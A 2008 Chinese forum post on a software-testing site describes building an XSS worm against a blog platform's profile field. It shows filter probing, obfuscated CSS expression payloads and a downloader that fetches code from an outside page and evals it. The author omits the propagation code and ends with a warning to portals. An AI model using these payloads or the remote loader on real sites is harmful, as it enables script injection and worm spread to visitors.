51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 3049|回复: 1
打印 上一主题 下一主题

XSS wrom安全检测实例

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2008-8-14 14:20:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
XSS wrom网站如何实现入侵?   

  1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。   
  ’’;:!--"<javascript JAvaSCriPT>=&#{()} \/  
  结果   
  ’’;:!--"=&#{()} // (&后是amp,论坛过滤了)  
  过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。   

  2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。      
expression   
onerror   
onload   

  3. 下面开始尝试构造语句。如下:   
  <img src="#" style="Xss:expression(alert(’xss’));">   
  <img src="#" onerror=alert(’xss’)>   
  <img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>   
  构造完整标记,页面输出后又全部过滤。   

  4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:   
  <div style="xss:ex/**/pre/**/ssion(alert(’xss’))">   

  5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:   
  <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">   
  //设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。   

  6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:   
  <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">   

  7. 感染流程考虑:   

  ㈠ BLOG页面的个人档案处是页面通用的   
  ㈡ XSS内容写到个人档案处,所有浏览者都会触发XSS   
  ㈢ 实现一段提交XSS内容到个人档案的代码.   

  8. 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader。   
  主要代码:   
  function d(){   
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件   
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求   
a.send();   
b=a.responseText; /*将传回值赋给变量B   
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));   
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.   
}d()   
  http://s0n9.blog.sohu.com/31406970.html 页面代码:   
  alert%28%27xss%27%29%3B   
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)   
  其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。

[ 本帖最后由 ruanyongjie 于 2008-8-14 14:22 编辑 ]
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

该用户从未签到

2#
发表于 2009-6-8 14:36:27 | 只看该作者
ding
回复 支持 反对

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-5-5 17:23 , Processed in 0.072281 second(s), 27 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表